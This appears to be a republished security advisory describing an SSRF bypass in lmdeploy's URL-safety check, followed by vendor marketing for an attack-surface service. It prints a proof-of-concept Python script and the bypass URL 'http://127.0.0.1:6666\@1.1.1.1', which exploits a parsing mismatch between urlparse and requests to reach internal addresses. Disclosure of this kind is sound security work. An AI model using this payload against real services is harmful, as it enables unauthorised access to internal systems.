The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
<img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" />
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request.
<img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" />
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)requests treats \ as a path character, connecting to 127.0.0.1 (internal)Below is a test code I wrote following the code.
from urllib.parse import urlparse
import ipaddress
import socket
import requests
def _is_safe_url(url: str) -> tuple[bool, str]:
"""Check if the URL is safe to fetch (not internal/private)."""
try:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False, f"Unsupported scheme: {parsed.scheme}"
hostname = parsed.hostname
if not hostname:
return False, "Could not parse hostname from URL"
# check all IPs (IPv4 + IPv6) using getaddrinfo
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False, "Hostname resolution failed"
for info in infos:
ip = ipaddress.ip_address(info[4][0])
# block any IP that is not globally routable (covers private, loopback,
# link-local, multicast, reserved, unspecified, etc.)
if not ip.is_global:
return False, f"Blocked non-global IP detected: {ip}"
return True, "URL is safe"
except Exception as e:
return False, f"URL validation failed: {str(e)}"
# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
raise ValueError(f"URL is blocked for security reasons: {reason}")
fetch_timeout = 10
client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
<img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" />
However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.
<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />
http://127.0.0.1:6666\@1.1.1.1
SSRF
| Software | Affected versions |
|---|---|
lmdeploy
|
>= 0.12.3, < 0.15.0 |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.